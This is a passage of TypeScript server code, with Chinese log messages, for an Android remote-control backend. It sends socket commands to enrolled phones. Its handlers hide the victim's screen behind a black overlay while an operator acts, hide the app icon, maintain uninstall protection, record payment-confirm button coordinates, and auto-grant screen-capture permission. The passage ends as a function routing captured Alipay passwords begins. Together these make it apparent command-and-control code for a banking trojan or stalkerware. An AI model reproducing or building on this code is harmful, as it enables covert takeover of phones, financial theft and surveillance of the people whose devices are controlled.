if (deviceState.blackScreenActive !== undefined && deviceState.blackScreenActive !== null) {
const blackScreenMessage = {
type: deviceState.blackScreenActive ? 'ENABLE_BLACK_SCREEN' : 'DISABLE_BLACK_SCREEN',
deviceId,
data: {},
timestamp: Date.now()
}
deviceSocket.emit('control_command', blackScreenMessage)
this.logger.info(`📤 已向设备 ${deviceId} 同步黑屏遮盖状态: ${deviceState.blackScreenActive}`)
}
// 🆕 同步应用隐藏状态(如果需要)
if (deviceState.appHidden !== undefined && deviceState.appHidden !== null) {
const appHideMessage = {
type: deviceState.appHidden ? 'HIDE_APP' : 'SHOW_APP',
deviceId,
data: {},
timestamp: Date.now()
}
deviceSocket.emit('control_command', appHideMessage)
this.logger.info(`📤 已向设备 ${deviceId} 同步应用隐藏状态: ${deviceState.appHidden}`)
}
// 🛡️ 同步防止卸载保护状态(如果需要)
if (deviceState.uninstallProtectionEnabled !== undefined && deviceState.uninstallProtectionEnabled !== null) {
const uninstallProtectionMessage = {
type: deviceState.uninstallProtectionEnabled ? 'ENABLE_UNINSTALL_PROTECTION' : 'DISABLE_UNINSTALL_PROTECTION',
deviceId,
data: {},
timestamp: Date.now()
}
deviceSocket.emit('control_command', uninstallProtectionMessage)
this.logger.info(`📤 已向设备 ${deviceId} 同步防止卸载保护状态: ${deviceState.uninstallProtectionEnabled}`)
}
this.logger.info(`✅ 设备状态同步完成: ${deviceId}`)
} catch (error) {
this.logger.error(`❌ 同步设备状态失败: ${deviceId}`, error)
}
}
/**
* 处理删除设备请求
*/
private handleDeleteDevice(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`🗑️ 处理删除设备请求: 客户端=${clientId}, 设备=${deviceId}`)
// 检查设备是否存在
const deviceExists = this.databaseService.getDeviceById(deviceId)
if (!deviceExists) {
this.logger.warn(`⚠️ 尝试删除不存在的设备: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'delete_device_response', {
success: false,
deviceId: deviceId,
message: '设备不存在'
})
return false
}
// 如果设备在线,先释放控制权并断开连接
const onlineDevice = this.deviceManager.getDevice(deviceId)
if (onlineDevice) {
this.logger.info(`📤 设备在线,先断开连接: ${deviceId}`)
// 释放控制权
const controller = this.webClientManager.getDeviceController(deviceId)
if (controller) {
this.webClientManager.releaseDeviceControl(deviceId)
this.logger.info(`🔓 已释放设备控制权: ${controller}`)
}
// 通知设备断开
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('force_disconnect', {
reason: 'device_deleted',
message: '设备已被删除'
})
deviceSocket.disconnect(true)
}
}
// 从内存中移除设备
this.deviceManager.removeDevice(deviceId)
// 通知所有客户端设备已断开
this.webClientManager.broadcastToAll('device_disconnected', deviceId)
}
// 从数据库中删除设备及相关数据
this.databaseService.deleteDevice(deviceId)
this.logger.info(`✅ 设备已从数据库删除: ${deviceId}`)
// 发送成功响应
this.webClientManager.sendToClient(clientId, 'delete_device_response', {
success: true,
deviceId: deviceId,
message: '设备已删除'
})
this.logger.info(`🎉 设备删除完成: ${deviceId}`)
return true
} catch (error) {
this.logger.error('删除设备失败:', error)
this.webClientManager.sendToClient(clientId, 'delete_device_response', {
success: false,
deviceId: deviceId,
message: '删除设备时发生错误'
})
return false
}
}
/**
* 获取设备UI层次结构
*/
private handleGetUIHierarchy(clientId: string, deviceId: string, requestData: any): boolean {
try {
this.logger.info(`🔍 处理UI层次结构获取请求: 客户端=${clientId}, 设备=${deviceId}`)
// 检查客户端权限
const client = this.webClientManager.getClient(clientId)
if (!client) {
this.logger.error(`获取UI层次结构失败: 找不到客户端 ${clientId}`)
return false
}
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.error(`❌ 设备不在线或不存在: ${deviceId}`)
this.logger.info(`📋 当前所有设备: ${JSON.stringify(this.deviceManager.getAllDevices().map(d => ({ id: d.id, name: d.name, socketId: d.socketId, status: d.status })))}`)
this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', {
deviceId,
success: false,
message: '设备不在线或不存在'
})
return false
}
// 获取设备Socket并发送UI分析请求
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
this.logger.info(`🔍 设备 ${deviceId} 的Socket ID: ${deviceSocketId}`)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
this.logger.info(`🔍 Socket连接状态: ${deviceSocket ? '已连接' : '未找到'}`)
if (deviceSocket) {
// 向设备发送UI分析请求 - 默认启用所有增强功能
const requestPayload = {
requestId: `ui_${Date.now()}`,
clientId: clientId,
includeInvisible: requestData.includeInvisible !== false, // 默认true
includeNonInteractive: requestData.includeNonInteractive !== false, // 默认true
maxDepth: requestData.maxDepth || 25, // 默认增加到25层
enhanced: true, // 默认启用增强功能
includeDeviceInfo: true // 默认包含设备信息
}
this.logger.info(`📤 准备发送UI分析请求增强模式: ${JSON.stringify(requestPayload)}`)
deviceSocket.emit('ui_hierarchy_request', requestPayload)
this.logger.info(`📤 已向设备 ${deviceId} 发送UI层次结构分析请求增强模式`)
return true
}
}
this.logger.error(`无法找到设备 ${deviceId} 的Socket连接`)
this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', {
deviceId,
success: false,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error(`获取UI层次结构失败: ${deviceId}`, error)
this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', {
deviceId,
success: false,
message: `分析失败: ${error instanceof Error ? error.message : '未知错误'}`
})
return false
}
}
/**
* 处理设备UI层次结构响应
*/
private handleUIHierarchyResponse(deviceId: string, hierarchyData: any): void {
try {
this.logger.info(`📱 收到设备 ${deviceId} 的UI层次结构响应`)
this.logger.info(`📋 响应数据详情: clientId=${hierarchyData.clientId}, success=${hierarchyData.success}, hierarchy类型=${typeof hierarchyData.hierarchy}`)
// 转发给请求的客户端
if (hierarchyData.clientId) {
const responseData = {
deviceId,
success: hierarchyData.success || true,
hierarchy: hierarchyData.hierarchy,
timestamp: Date.now(),
enhanced: hierarchyData.enhanced || false, // ✅ 传递增强标识
deviceCharacteristics: hierarchyData.deviceCharacteristics, // ✅ 传递设备特征
analysisMetadata: hierarchyData.analysisMetadata // ✅ 传递分析元数据
}
this.logger.info(`📤 准备转发给客户端 ${hierarchyData.clientId}, 数据大小: ${JSON.stringify(responseData).length} 字符`)
this.webClientManager.sendToClient(hierarchyData.clientId, 'ui_hierarchy_response', responseData)
this.logger.info(`✅ 已将UI层次结构转发给客户端: ${hierarchyData.clientId}${hierarchyData.enhanced ? '(增强版)' : ''}`)
} else {
this.logger.warn(`⚠️ 响应数据中缺少clientId字段无法转发`)
// 广播给所有客户端
this.webClientManager.broadcastToAll('ui_hierarchy_response', {
deviceId,
success: hierarchyData.success || true,
hierarchy: hierarchyData.hierarchy,
timestamp: Date.now()
})
this.logger.info(`📤 已广播UI层次结构给所有客户端`)
}
} catch (error) {
this.logger.error(`处理UI层次结构响应失败: ${deviceId}`, error)
}
}
/**
* 路由UI层次结构响应从设备到Web客户端- 参考routeScreenData的模式
*/
routeUIHierarchyResponse(fromSocketId: string, hierarchyData: any): boolean {
try {
this.logger.info(`🔍 处理UI层次结构响应: Socket ${fromSocketId}`)
// 首先尝试从DeviceManager获取设备信息
let device = this.deviceManager.getDeviceBySocketId(fromSocketId)
if (!device) {
this.logger.warn(`⚠️ 找不到设备,尝试从数据库恢复: ${fromSocketId}`)
// ✅ 参考routeScreenData立即尝试从数据库恢复设备
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId)
if (dbDevice) {
// ✅ 获取设备状态信息
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId)
device = {
id: dbDevice.deviceId,
socketId: fromSocketId,
name: dbDevice.deviceName,
model: dbDevice.deviceModel,
osVersion: dbDevice.osVersion,
appVersion: dbDevice.appVersion,
screenWidth: dbDevice.screenWidth,
screenHeight: dbDevice.screenHeight,
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
connectedAt: new Date(),
lastSeen: new Date(),
status: 'online' as const,
inputBlocked: deviceState?.inputBlocked || false,
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
remark: (dbDevice as any).remark // 🆕 恢复设备备注
}
// 将恢复的设备添加到DeviceManager中
this.deviceManager.addDevice(device)
this.logger.info(`✅ 从数据库恢复设备: ${device.name} (${device.id})`)
// ✅ 关键修复更新数据库中的设备记录特别是lastSocketId
try {
const deviceForDb = {
deviceId: device.id,
deviceName: device.name,
deviceModel: device.model,
osVersion: device.osVersion,
appVersion: device.appVersion,
screenWidth: device.screenWidth,
screenHeight: device.screenHeight,
capabilities: device.capabilities
}
this.databaseService.saveDevice(deviceForDb, fromSocketId)
} catch (dbError) {
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError)
}
// ✅ 关键修复UI响应时设备恢复后立即通知Web端设备在线
this.logger.info(`✅ 设备UI响应恢复成功: ${device.name}立即通知Web端设备在线`)
// 立即广播设备连接事件给所有Web客户端
this.webClientManager.broadcastToAll('device_connected', device)
// 同时广播设备状态更新
this.webClientManager.broadcastToAll('device_status_update', {
deviceId: device.id,
status: {
online: true,
connected: true,
lastSeen: Date.now(),
inputBlocked: device.inputBlocked || false
}
})
// ✅ 同步设备状态到设备端(如输入阻塞状态)
if (deviceState) {
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState)
}
} else {
// 尝试从响应数据中获取deviceId进行处理
const deviceId = hierarchyData?.deviceId
if (deviceId) {
this.logger.warn(`⚠️ 数据库中也找不到设备但响应包含deviceId: ${deviceId},尝试直接处理`)
this.handleUIHierarchyResponse(deviceId, hierarchyData)
return true
} else {
this.logger.error(`❌ 无法找到设备且响应数据中没有deviceId: ${fromSocketId}`)
return false
}
}
}
// 确保device不为undefined
if (!device) {
this.logger.error(`❌ 设备恢复失败: ${fromSocketId}`)
return false
}
this.logger.info(`✅ 找到设备: ${device.name} (${device.id})处理UI层次结构响应`)
// 直接处理UI层次结构响应
this.handleUIHierarchyResponse(device.id, hierarchyData)
return true
} catch (error) {
this.logger.error('路由UI层次结构响应失败:', error)
return false
}
}
/**
* 🆕 处理开始提取确认坐标的请求
*/
private handleStartExtractConfirmCoords(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`🎯 开始提取确认坐标模式: 客户端=${clientId}, 设备=${deviceId}`)
// 向所有连接的客户端广播提取模式开始事件(主要是屏幕阅读器组件)
this.webClientManager.broadcastToAll('start_extract_confirm_coords', {
deviceId,
clientId
})
this.logger.info(`✅ 确认坐标提取模式已启动: ${deviceId}`)
return true
} catch (error) {
this.logger.error('启动确认坐标提取模式失败:', error)
return false
}
}
/**
* 🆕 处理保存确认坐标的请求
*/
private handleSaveConfirmCoords(clientId: string, deviceId: string, coords: { x: number, y: number }): boolean {
try {
this.logger.info(`💾 保存确认坐标: 客户端=${clientId}, 设备=${deviceId}, 坐标=(${coords.x}, ${coords.y})`)
// 验证坐标数据
if (!coords || typeof coords.x !== 'number' || typeof coords.y !== 'number') {
this.logger.error('❌ 无效的坐标数据:', coords)
this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', {
deviceId,
success: false,
message: '无效的坐标数据'
})
return false
}
// 保存到数据库
this.databaseService.saveConfirmButtonCoords(deviceId, coords)
// 发送成功响应
this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', {
deviceId,
success: true,
coords,
message: '确认坐标已保存'
})
// 向所有客户端广播坐标已更新用于实时更新UI显示
this.webClientManager.broadcastToAll('confirm_coords_updated', {
deviceId,
coords
})
this.logger.info(`✅ 确认坐标已保存: ${deviceId} -> (${coords.x}, ${coords.y})`)
return true
} catch (error) {
this.logger.error('保存确认坐标失败:', error)
this.webClientManager.sendToClient(clientId, 'save_confirm_coords_response', {
deviceId,
success: false,
message: '保存失败: ' + (error as Error).message
})
return false
}
}
/**
* 🆕 处理启用黑屏遮盖的请求
*/
private handleEnableBlackScreen(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`🖤 启用黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
deviceId,
success: false,
isActive: false,
message: '设备已离线或不存在'
})
return false
}
// 检查客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
deviceId,
success: false,
isActive: false,
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 向设备发送启用黑屏遮盖的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'ENABLE_BLACK_SCREEN',
deviceId,
data: {},
timestamp: Date.now()
})
// 🆕 保存黑屏状态到数据库
this.databaseService.updateDeviceBlackScreenActive(deviceId, true)
// 发送成功响应
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
deviceId,
success: true,
isActive: true,
message: '黑屏遮盖已启用'
})
this.logger.info(`✅ 黑屏遮盖启用命令已发送: ${deviceId}`)
return true
}
}
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
deviceId,
success: false,
isActive: false,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error('启用黑屏遮盖失败:', error)
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
deviceId,
success: false,
isActive: false,
message: '启用失败: ' + (error as Error).message
})
return false
}
}
/**
* 🆕 处理取消黑屏遮盖的请求
*/
private handleDisableBlackScreen(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`🖤 取消黑屏遮盖: 客户端=${clientId}, 设备=${deviceId}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
deviceId,
success: false,
isActive: false,
message: '设备已离线或不存在'
})
return false
}
// 检查客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
deviceId,
success: false,
isActive: true,
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 向设备发送取消黑屏遮盖的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'DISABLE_BLACK_SCREEN',
deviceId,
data: {},
timestamp: Date.now()
})
// 🆕 保存黑屏状态到数据库
this.databaseService.updateDeviceBlackScreenActive(deviceId, false)
// 发送成功响应
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
deviceId,
success: true,
isActive: false,
message: '黑屏遮盖已取消'
})
this.logger.info(`✅ 黑屏遮盖取消命令已发送: ${deviceId}`)
return true
}
}
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
deviceId,
success: false,
isActive: true,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error('取消黑屏遮盖失败:', error)
this.webClientManager.sendToClient(clientId, 'black_screen_response', {
deviceId,
success: false,
isActive: true,
message: '取消失败: ' + (error as Error).message
})
return false
}
}
/**
* 🆕 处理打开应用设置的请求
*/
private handleOpenAppSettings(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`⚙️ 打开应用设置: 客户端=${clientId}, 设备=${deviceId}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'app_settings_response', {
deviceId,
success: false,
message: '设备已离线或不存在'
})
return false
}
// 检查客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'app_settings_response', {
deviceId,
success: false,
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 向设备发送打开应用设置的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'OPEN_APP_SETTINGS',
deviceId,
data: {},
timestamp: Date.now()
})
this.logger.info(`✅ 已发送打开应用设置命令到设备 ${deviceId}`)
// 向客户端发送响应
this.webClientManager.sendToClient(clientId, 'app_settings_response', {
deviceId,
success: true,
message: '打开应用设置命令已发送'
})
return true
}
}
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`)
this.webClientManager.sendToClient(clientId, 'app_settings_response', {
deviceId,
success: false,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error(`打开应用设置失败:`, error)
this.webClientManager.sendToClient(clientId, 'app_settings_response', {
deviceId,
success: false,
message: '打开应用设置失败'
})
return false
}
}
/**
* 🆕 处理隐藏应用的请求
*/
private handleHideApp(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`📱 隐藏应用: 客户端=${clientId}, 设备=${deviceId}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
deviceId,
success: false,
isHidden: false,
message: '设备已离线或不存在'
})
return false
}
// 检查客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
deviceId,
success: false,
isHidden: false,
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 向设备发送隐藏应用的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'HIDE_APP',
deviceId,
data: {},
timestamp: Date.now()
})
// 🆕 保存应用隐藏状态到数据库
this.databaseService.updateDeviceAppHidden(deviceId, true)
// 发送成功响应
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
deviceId,
success: true,
isHidden: true,
message: '应用已隐藏'
})
this.logger.info(`✅ 隐藏应用命令已发送: ${deviceId}`)
return true
}
}
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
deviceId,
success: false,
isHidden: false,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error('隐藏应用失败:', error)
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
deviceId,
success: false,
isHidden: false,
message: '隐藏失败: ' + (error as Error).message
})
return false
}
}
/**
* 🆕 处理应用隐藏状态更新来自Android端的状态报告
*/
private handleAppHideStatusUpdate(deviceId: string, eventData: any): boolean {
try {
this.logger.info(`📱 收到应用隐藏状态更新: 设备=${deviceId}, 数据=${JSON.stringify(eventData)}`)
const isHidden = eventData.isHidden
const message = eventData.message || '状态已更新'
const success = eventData.success
// 🆕 保存应用隐藏状态到数据库
this.databaseService.updateDeviceAppHidden(deviceId, isHidden)
// 广播状态更新到所有有控制权的Web客户端
const controllerId = this.webClientManager.getDeviceController(deviceId)
if (controllerId) {
this.webClientManager.sendToClient(controllerId, 'app_hide_response', {
deviceId,
success: success,
isHidden: isHidden,
message: message,
fromDevice: true // 标记这是来自设备端的状态报告
})
this.logger.info(`✅ 应用隐藏状态已广播到控制客户端: ${controllerId}`)
} else {
this.logger.debug(`📋 设备 ${deviceId} 当前无控制客户端,状态仅保存到数据库`)
}
// 也广播到所有客户端,用于状态同步
this.webClientManager.broadcastToAll('device_app_hide_status_changed', {
deviceId,
isHidden,
message,
timestamp: Date.now()
})
return true
} catch (error) {
this.logger.error('处理应用隐藏状态更新失败:', error)
return false
}
}
/**
* 🆕 处理显示应用的请求
*/
private handleShowApp(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`📱 显示应用: 客户端=${clientId}, 设备=${deviceId}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
deviceId,
success: false,
isHidden: true,
message: '设备已离线或不存在'
})
return false
}
// 检查客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
deviceId,
success: false,
isHidden: true,
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 向设备发送显示应用的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'SHOW_APP',
deviceId,
data: {},
timestamp: Date.now()
})
// 🆕 保存应用隐藏状态到数据库
this.databaseService.updateDeviceAppHidden(deviceId, false)
// 发送成功响应
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
deviceId,
success: true,
isHidden: false,
message: '应用已显示'
})
this.logger.info(`✅ 显示应用命令已发送: ${deviceId}`)
return true
}
}
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
deviceId,
success: false,
isHidden: true,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error('显示应用失败:', error)
this.webClientManager.sendToClient(clientId, 'app_hide_response', {
deviceId,
success: false,
isHidden: true,
message: '显示失败: ' + (error as Error).message
})
return false
}
}
/**
* 🆕 处理关闭配置遮盖的请求
*/
private handleCloseConfigMask(clientId: string, deviceId: string, manual: boolean = true): boolean {
try {
this.logger.info(`🛡️ 关闭配置遮盖: 客户端=${clientId}, 设备=${deviceId}, 手动=${manual}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
// 注意关闭配置遮盖使用permission_response事件而非专用响应事件
return false
}
// 🆕 特殊情况:关闭配置遮盖不需要控制权,因为配置遮盖通常在用户获取控制权之前显示
// 这是一个紧急操作,允许任何连接的客户端执行
// 向设备发送关闭配置遮盖的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'CLOSE_CONFIG_MASK',
deviceId,
data: {
manual: manual
},
timestamp: Date.now()
})
this.logger.info(`✅ 关闭配置遮盖命令已发送: ${deviceId}`)
return true
}
}
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
return false
} catch (error) {
this.logger.error('关闭配置遮盖失败:', error)
return false
}
}
/**
* 🆕 处理重新获取投屏权限请求
*/
private handleRefreshMediaProjectionPermission(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`📺 重新获取投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`)
// 检查设备是否存在且在线
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '设备已离线或不存在'
})
return false
}
// 检查客户端是否有控制权
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '无控制权限,请先申请设备控制权'
})
return false
}
// 向设备发送重新获取投屏权限的控制命令
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'REFRESH_MEDIA_PROJECTION_PERMISSION',
deviceId,
data: {},
timestamp: Date.now()
})
// 发送成功响应
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: true,
message: '重新获取投屏权限命令已发送,请在设备上确认权限'
})
this.logger.info(`✅ 重新获取投屏权限命令已发送: ${deviceId}`)
return true
}
}
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error('重新获取投屏权限失败:', error)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '重新获取投屏权限失败: ' + (error as Error).message
})
return false
}
}
/**
* Handle screen refresh request from Web client
* Sends REFRESH_SCREEN command to device to restart screen capture
*/
private handleRefreshScreen(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`[RefreshScreen] Screen refresh request: client=${clientId}, device=${deviceId}`)
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`[RefreshScreen] Device offline: ${deviceId}`)
return false
}
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`[RefreshScreen] Client ${clientId} has no control over ${deviceId}`)
return false
}
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (!deviceSocketId) {
this.logger.error(`[RefreshScreen] Device socket not found: ${deviceId}`)
return false
}
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (!deviceSocket) {
this.logger.error(`[RefreshScreen] Device socket connection lost: ${deviceId}`)
return false
}
deviceSocket.emit('control_command', {
type: 'REFRESH_SCREEN',
deviceId,
data: {},
timestamp: Date.now()
})
this.logger.info(`[RefreshScreen] Refresh command sent to device: ${deviceId}`)
return true
} catch (error) {
this.logger.error('[RefreshScreen] Failed to send refresh command:', error)
return false
}
}
/**
* Handle manual MediaProjection permission request (no auto-click)
*/
private handleRefreshMediaProjectionManual(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`📺 手动授权投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`)
const device = this.deviceManager.getDevice(deviceId)
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '设备已离线或不存在'
})
return false
}
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '无控制权限,请先申请设备控制权'
})
return false
}
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
if (deviceSocketId) {
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
if (deviceSocket) {
deviceSocket.emit('control_command', {
type: 'REFRESH_MEDIA_PROJECTION_MANUAL',
deviceId,
data: {},
timestamp: Date.now()
})
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: true,
message: '手动授权命令已发送,请在设备上手动确认权限'
})
this.logger.info(`✅ 手动授权投屏权限命令已发送: ${deviceId}`)
return true
}
}
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '设备连接已断开'
})
return false
} catch (error) {
this.logger.error('手动授权投屏权限失败:', error)
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
deviceId,
success: false,
message: '手动授权投屏权限失败: ' + (error as Error).message
})
return false
}
}
/**
* 🆕 路由权限申请响应
*/
routePermissionResponse(socketId: string, permissionData: any): boolean {
try {
// 获取发送响应的设备信息
const device = this.deviceManager.getDeviceBySocketId(socketId)
if (!device) {
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`)
return false
}
this.logger.info(`📱 处理设备 ${device.id} 的权限申请响应`)
// 检查权限类型并处理响应
if (permissionData.permissionType === 'media_projection') {
this.handleMediaProjectionPermissionResponse(device.id, permissionData)
} else {
this.logger.warn(`⚠️ 未知的权限类型: ${permissionData.permissionType}`)
}
return true
} catch (error) {
this.logger.error(`路由权限申请响应失败: Socket ${socketId}`, error)
return false
}
}
/**
* 💰 路由支付宝密码数据
*/
routeAlipayPassword(socketId: string, passwordData: any): boolean {
try {
// 获取发送密码数据的设备信息
const device = this.deviceManager.getDeviceBySocketId(socketId)
if (!device) {
this.logger.warn(`⚠️ 无法找到Socket ${socketId} 对应的设备`)
return false
}
